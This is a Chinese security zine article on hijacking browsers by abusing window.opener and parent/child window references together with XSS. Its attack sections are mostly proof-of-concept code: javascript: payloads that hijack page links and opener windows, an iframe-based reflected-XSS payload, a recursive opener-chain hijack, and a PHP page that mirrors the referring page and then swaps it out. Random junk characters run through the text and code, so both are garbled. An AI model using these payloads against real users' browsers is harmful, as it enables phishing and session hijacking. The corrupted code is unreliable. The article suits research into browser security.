==Ph4nt0m Security Team==0 `# u; D: {2 R( l4 L
7 m. q+ s5 z, @' l2 y
Issue 0x03, Phile #0x05 of 0x07
0 j# M" U) b2 Q n) h8 R3 N% c
3 a. i" n$ o7 O1 Z5 O+ c; [* S- D' g* o, l0 @) o
|=---------------------------------------------------------------------------=|' H$ ]9 m) o/ S! S2 t
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|! y6 q8 Y* |' t9 R! m
|=---------------------------------------------------------------------------=|
/ ]( }. o; e! T1 u|=---------------------------------------------------------------------------=|8 s2 P6 ~8 q+ y( P% N$ x. n
|=------------------------=[ By rayh4c ]=---------------------------=|1 S* @8 `# ^; Z' U/ N* G8 B6 U
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|3 _2 }7 Z. B" Z
|=---------------------------------------------------------------------------=|- D, K" M% N! \9 E5 ?
9 A8 F( i: H+ l3 `
. _4 E* I3 \/ M7 S6 i3 P[目录]; _; n0 q( ]5 {) r4 D E* x
0 d' K$ d" y5 \; y9 ^
1. 前言) e5 S0 i0 s: V8 Z+ r% p
2. 同源策略简叙
1 U: }+ q% Z( V( g+ O3. 理解window对象的同源策略
0 [; b* S: j3 R, T1 M4. 窗口引用功能中的同源策略漏洞
! W+ M/ E3 C9 v# ?8 k3 |1 Y+ l 4.1 父窗口引用子窗口的同源策略问题
/ L; k" @; @+ s" H" E) k 4.2 子窗口引用父窗口的同源策略问题
1 V0 n: }( _+ e/ A- T5. 利用窗口引用漏洞劫持浏览器+ r* p \+ Y/ ?: Q& M$ F
6. 利用XSS漏洞劫持浏览器( b4 y! _+ z% p% i7 h
6.1 正向跨窗口劫持
0 U. y, ]/ e K# J6 G m" R" t- { 6.2 反向跨窗口劫持
2 G8 B" E6 ]4 V$ f2 A+ |/ e 6.3 极度危险的跨框架窗口引用劫持9 U( @+ j1 y, N' A' c
6.4 极度危险的正反向跨窗口递归劫持
0 m8 f5 @. J) F* X/ N 6.5 完全控制浏览器
* D9 |$ A4 j8 U, D5 Z' a& ]6 f7. 后记: C6 N, L' [) E) w
8. 参考6 J/ X3 D+ k0 u3 o& P
6 D1 |9 R3 W/ D$ r g3 i
4 B# u1 ^& b5 W/ S一、前言
$ s1 h9 l. s" Z R+ `# Q! g5 ~! j8 w0 |2 O4 a- f' Y ~
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
2 ~+ V5 i6 t" X: t9 P( q友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session+ P6 w7 S. j3 z' G/ y6 }
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
7 ^, @' ^9 M2 x, y1 ?* O# x条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。1 c. T/ |' T: o4 i; ?9 k
. c7 D. n3 e/ c. J$ R7 X% m$ U
7 B6 f- O! l: X4 G) i: O$ S2 x
二、同源策略简叙" ]" O7 W W7 s5 F( Y' U
1 S# C U1 C% O$ H0 L 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
; B$ Y& F4 s1 G. e. e从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都% R# \. M9 f( i4 j# O# x# P7 r
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
0 T1 w- P6 m4 R( j马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
3 s) `4 Y% F) F" Z漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
. |& v7 H( w6 h& t, ?& `+ G ?: t# s# p8 x! I8 t
6 l+ P! U' x5 G7 \9 W- C
三、理解window对象的同源策略
* _8 n; v4 N( d0 | g( A
# z V( S7 b) X: J# J 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对3 E% C! I2 A) G$ |
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
7 B {+ k$ ^ z z
6 o0 z" f7 k. n! F. n& C/ m S& l; r--code-------------------------------------------------------------------------
- ^+ k3 q6 h* B& `; R/ j9 I<script language="javascript">
6 Y7 |" m2 X$ o* X. r7 t% N+ Nfor(p in window) document.write(p+"<br>");. E& @: \# Z% X
</script>
- W8 J# F& F" U5 X-------------------------------------------------------------------------------6 ^3 m g1 L) c% [! ~
2 U1 Q2 k; q; F. `' u. X 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方3 ]. g; }$ g0 K2 n
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,4 u$ ~4 A* X2 H, y U
这些属性和方法就必须遵循同源策略。
0 V1 y9 }6 J8 n" O3 v/ W* Z4 ^' Q1 r6 m+ Q$ N6 N. q/ k! d- z. v( @
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
- g. N4 B: O+ Q) v% }么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须5 }$ ~( ?, `5 b
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
, F5 S! J4 @/ ^+ ]: T" C个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的- c8 v; t! V) L2 H
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location: h% m, @( h7 Q% r9 h6 D
属性并没有被拒绝访问。
! \# i: L& v1 H! @: @0 m u0 h" R$ G D8 r
--demo.html--------------------------------------------------------------------
4 G. i g4 J+ V<script language="javascript">
% S5 r# t6 Z3 @function allPrpos(obj) {
0 h2 B8 _8 R4 u var props = "<table><tr><td>名称</td><td>值</td>"; 0 K/ ]. n7 n* [ Q
for(var p in obj){ ) a! E9 p) y) f! u: N
if(typeof(obj[p])=="function"){
: q8 x, @0 d E8 w obj[p](); ; ]" W8 ?# t: d# l
}else{
) M' s# f+ V/ O' i3 a0 H7 P try : x. V: e& z4 u& q) s" q
{ 3 S% ~. d: b6 N2 h, ]$ B
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
* E$ I" e& u2 n j } * X% |! H/ G% b) r+ Q7 Z( r
catch (ex) 5 c( P1 u3 {# ~) V
{ ) V! C5 I! S) ?# W3 Y6 K/ `
5 \: M3 X: Q/ H& w, L5 n6 d1 A8 G props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
7 V$ j% ?7 ?- i9 Z) V }
1 f' _" z3 H# w; Q' e; ]) { , h7 T/ s# y; y9 _ v
} , Y' d6 X' D; a6 `; d6 S1 z e }" i
} / }8 Z' j& G' N6 x9 f
8 W: {; e) Y8 ]( ]: M document.write(props+"</table>"); % Q5 s. z7 r) } k
}
5 y9 b; U' | ~( d, n
0 S7 J& ?/ d: v$ N a+ Ffunction createWin() {6 J3 O. ^. v. \8 U1 ]" @/ W9 [
newWin = window.open ("http://www.google.com");
+ m; \/ g. b9 O. d setTimeout(function(){allPrpos(newWin)},2000);
8 O6 }, v+ ]# |- B! K2 l+ Y9 p- {1 Q8 H} 0 Y3 d9 F- l) L
2 H4 A; s0 ]" K/ [ R7 W" _
</script>
* Z C- a h) ]! o3 e7 j+ L5 O
$ f/ u4 G4 i$ }" K+ _. g G+ ]7 \<button onclick='createWin()'>创建一个非同源子窗口测试</button>
8 Z% T$ z. }) C, h5 o-------------------------------------------------------------------------------% W8 T: Z2 ]! @* Q. E" ?9 N( |/ _' W, u
. D. f0 v2 k3 {- @( V7 r' C$ O
8 _4 S* E# P4 q四、窗口引用功能中的同源策略漏洞
- z' C0 N. \! U* N# T
( F, g3 S8 J- q* b$ d5 X4.1 父窗口引用子窗口的同源策略问题
- j, T3 L3 N( l8 D
4 d e8 M4 p) j5 b( q* j! o4 f9 G 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,/ ]: H \ d. W5 N% G* j
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道- _- `, L2 B) A1 ^' h) u% r
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
3 z: |/ V4 h& d0 I2 I. p4 U行测试,会发现父窗口可以控制非同源子窗口location属性值。
. a8 ]/ N& u6 Y, W8 D9 W8 l( ^
' d. F7 ?) [ K. Z8 \; A7 t Y--vul1.html--------------------------------------------------------------------0 f2 ?1 O6 ]' c: v1 x( I& e
<script language="javascript"> # p) M+ U! h* i2 ~- \- Z8 }
function createWin() {
; Z9 J) y' X& Y( A( _, Q newWin = window.open ("http://www.google.com"); 0 D+ J' d0 ^8 N9 d2 }! O
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); 8 @8 x( w, j" X$ w5 Q, i
}
( V9 o6 a( W- C4 B$ e* `6 O0 G$ S</script>/ w( i, U/ N8 D
2 e+ W! }0 c6 a: _5 P) e
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
; S2 c$ |. r- Q8 q4 \2 W-------------------------------------------------------------------------------
& \/ t. L7 s+ `6 a: o! g4 r& h4 Z
6 j8 r" N+ @ H# j" H- t# g: ]) S5 n7 A/ L$ e# ~
4.2 子窗口引用父窗口的同源策略问题5 q0 g+ u) n% z* j5 u, ]
& r" t/ x! }( g2 ]: s- w 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
}8 e1 I0 m0 ]9 y7 e" ~用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们4 N7 c5 R; u ~7 Y6 [" `- C
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
; }. Z/ ?& C* ~/ N2 V会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
7 k. B8 u3 O; d6 l; G2 ^5 v+ { ^ Z4 K
--code-------------------------------------------------------------------------* O8 n5 y) h1 ? ^
3 u$ i3 q6 c! J. X) h! a$ ^javascript:window.opener.location = "http://www.80sec.com";void(0);
% f+ f4 i$ l8 i6 l( L) N* p. X; g
-------------------------------------------------------------------------------0 z8 K6 d$ P' m! g# C
2 ?$ C$ R4 B- ]1 e$ x2 ^7 F+ Z% s
# L9 r( h$ K6 ^# y$ {+ f
五、利用窗口引用漏洞劫持浏览器
+ H+ b9 k7 R& N2 s# ^# k; _. P" k6 y2 }5 p4 H! C
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子2 E- C% l; S& A& E
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
* S/ C8 F, j! t/ d么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。. A3 b4 K8 e% [# c3 ^0 P& }
& t" X- O4 P5 T' n 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
2 z0 Y: g& j3 j+ T S! h2 d生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
8 h( g6 m' J/ Z# f者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
$ c* f% N- ^6 n" \" K6 H# m' X. c后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
" Q, a6 P( D+ ^会产生什么可怕的后果。
7 y4 T4 `# n X% y! ?: M( }1 _9 J/ i8 t# d
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我 v& Y$ p$ x |; b/ `9 C
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php( x* C7 u- N4 @! W
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
: n% v( h6 f1 y9 {+ P候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可. n2 L D. G# G# p
以做更多的事情,所有的一切仅仅是因为点击了一个链接。2 z! I7 J3 @: S" M% B2 m- h$ [
2 y" o+ \0 W% W
--hjk_ref.php------------------------------------------------------------------* p }$ k8 y( h5 O4 |
<?php: k K1 C) [; N \" `
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
: q6 x' k5 ^6 I$Url_Mirror = $_SERVER["HTTP_REFERER"];
9 w( I* M! g( H9 ]}
: k2 t; ?$ D: C, ]. ?if(isset ($_GET['ref'])) {# y h1 J, K. T
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
6 ] I( |9 |0 [}$ W! U& ^* a! a0 O8 x8 s7 K# p
?># }' i9 n( I) E1 @) r) c* D
4 G3 t: p! e0 F8 P$ Z- W* _+ b0 T( r
<script language="javascript">- Y2 W% S2 \0 G0 j
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); E3 @ ?- \. Y- o! X" S
</script># |- _9 J. O+ v" Q; h+ y1 D
-------------------------------------------------------------------------------0 a9 o5 ?8 `' P. [, ^0 S
- s3 T9 m* U7 x! [. ?4 J8 Y
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
7 b1 ~' p1 Q& T8 n9 |) s1 _& H2 r% J Q( H
7 P; _5 z1 k, R2 h. l' z六、利用XSS漏洞劫持浏览器
8 {7 B7 c5 n9 {8 C0 r% H$ D
6 H$ g2 ]9 }5 a- n( d u 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为9 y, c/ A% L+ R& _; L3 i
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
8 K' F5 z# N7 @2 AXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起8 w& ]8 u# M) C
讨论跨站师的终极技巧:
4 M* E' S$ c) k+ K
9 |1 J$ f! Z4 I3 p# E% `
7 N0 I2 r: w1 I" Z! W6.1 正向跨窗口劫持
+ @* b: ~3 {7 [; ]1 U( Z& ]% b0 r- B( r9 z. n
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛7 l) \5 B& T- m* P9 F" b5 `& m
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链1 m# q2 d) t- K$ d$ c
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
0 \( M, W* ~% U% l, q框脚本。
& M; l$ c/ v) h6 m0 m4 P' [0 E' D D
--hijack_open.js---------------------------------------------------------------0 {0 a* ?* P# S/ b" n- u
; |9 A' ~1 q' w3 |0 c" O1 b
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
6 p, k* S2 t* N' d7 y+ B" e3 e" g$ J
-------------------------------------------------------------------------------5 }' B+ T. D: c4 q
: O0 j. n9 P. C; [
- C( J9 n! E+ ^' p X+ E$ l( n" n
6.2 反向跨窗口劫持) H# {9 ~- o, ]* G
5 y. y Y; U2 Q4 H& _% v9 w 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代& e' O) }% s; c; P, i2 n( }+ _
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
+ h9 e" R d+ {7 T5 L框脚本。
1 ]* P) v5 F: y& [9 ^% S# T* F. G6 _; a! R& M G
--hijack_opener.js-------------------------------------------------------------3 R0 t& E! |7 H% [% y* E0 P T+ U
2 y% J1 ~( I$ |) kjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
; Y* K! L ~. R S& h. a, J/ U0 X! H/ p1 q
-------------------------------------------------------------------------------
9 ?; M5 C; g" ?' X) u% A6 S% H! R1 u5 k s
' w [8 p, B* I1 n( h
6.3 极度危险的跨框架窗口引用劫持+ b& z0 p. |1 J. ^
& H) Z7 B/ x9 m# T* I 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
8 v& _( ~8 w) u+ U. _$ [- H* X; U可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
; {6 x; E- B4 T% l: j p适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
+ ] z! W5 P' z2 e3 b( K1 _非持久型的XSS,如下:- W. H6 X( ~8 q" k. }; u/ G& t
' i0 D* R5 j) q5 a; w
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
. b0 }+ z a4 s2 d' [& t
" Q3 E/ ]" k- t6 N. I8 R 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口5 @; S4 s* q1 D( y3 ^6 v
注入脚本。& t" c& o A% F1 m8 o
7 Y0 F3 u7 _; o) z! l- Y--hijack_frame_opener.js-------------------------------------------------------
1 F6 M$ a( q5 F8 U0 p( v<script>: l, A* w/ [9 U1 P n
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";9 a. k0 ^4 c9 J! F* v* m
</script>8 u* U0 z% z0 o$ V
-------------------------------------------------------------------------------2 q2 [, \0 h/ _
1 P5 j6 j0 G& |; e" U% ~* e! l, d3 c' f* R
6.4 极度危险的正反向跨窗口递归劫持
% R4 ~* F7 V! a+ ~1 N# |7 G1 V& L6 y. _# `( B- [ S3 f/ k
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window" C8 k- [5 |& x
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过- U2 f: g# J6 u5 |: q- \2 L, W
异常处理规避之间跨域页面的访问异常,代码如下:8 L& F2 k. a. r5 \+ h1 {
7 [1 e. X f" |2 g( j--code-------------------------------------------------------------------------
# I# j) _1 L$ b1 t- I& s; |' \5 o6 K4 G3 r5 {+ x3 c) }5 G
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);$ U( O8 E4 p' O$ j
: F% A3 d; S" N& r( F* v" H) Z
-------------------------------------------------------------------------------6 L1 U+ L! {6 W7 C5 B, C
* F; q% ^1 t6 [7 b& I7 |6 |! a4 z# L 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可/ y! i" N- u: O! `8 _
以劫持B域之前的A域页面,从而实现“隔空打击”。
# _' V* M% d' s4 M/ U! T$ D; V1 v0 Q$ b. S0 a; H
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
& D) j7 O# r2 q; V9 ]- ~3 g执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
2 p6 U. Q1 O: b0 r( Z6 r6 j c" B7 B2 J. W, z7 _+ [, c4 M! v
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。) [. z% ]8 E9 t; D% X, {
' n1 l2 @+ |* i$ s4 \
1 K2 u2 |, x' C. U/ N( a
6.5 完全控制浏览器
+ D# r) M6 i3 f2 w0 i5 L0 W
. t# a+ T: S, O; p9 D- ~6 z2 N+ b 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
8 J8 X% e, O5 _2 ?( g; n- T- v" E是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS; J, p$ T: j7 j, m' a5 K5 s' r2 }0 o
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
7 A! {& k( s- e! q0 e而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再" C: ?9 ^/ x0 |- \- @
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站2 z3 }- X, Z/ w# A) c
师的终极目标 - 完全控制浏览器。/ N$ N/ @8 ?0 B0 _3 ^ i
8 _3 h3 y: y+ B$ ~% D9 V1 k% P
; v! \4 O+ u. n% A; [
七、后记8 _2 W1 J1 ?% r6 k# _0 s( R
$ v5 z' ^: a- H$ b; v
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
) ]( c8 T* @/ i( ^1 w与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
$ A8 e1 |+ g1 H过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。9 ]+ u( T' G( [
$ G q# X2 ? ~8 b( u) |) ~# x
) T+ ~; W: X [3 B6 U* r八、参考
3 P- x1 Q% `% v- W' k' S5 ~% T- c' u! f# Q c* o2 U1 Y
1. http://en.wikipedia.org/wiki/Same_origin_policy
# O0 y/ U, s* u& ]; w4 M- T; |2. http://code.google.com/p/browser ... licy_for_DOM_access
9 _$ v6 q7 X* ]( _3. http://www.w3.org/TR/Window/' P- X$ `4 {4 l3 h
4. http://www.80sec.com/release/browser-hijacking.txt! x8 D4 K- |' L6 V
5. http://www.80sec.com/all-browser-security-alert.html
S* f* ^- B U( x1 p6. http://www.80sec.com/ms08-058-attacks-google.html: c e' ]: l, X8 a* I
7 h% f, D1 `& p/ o
-EOF- |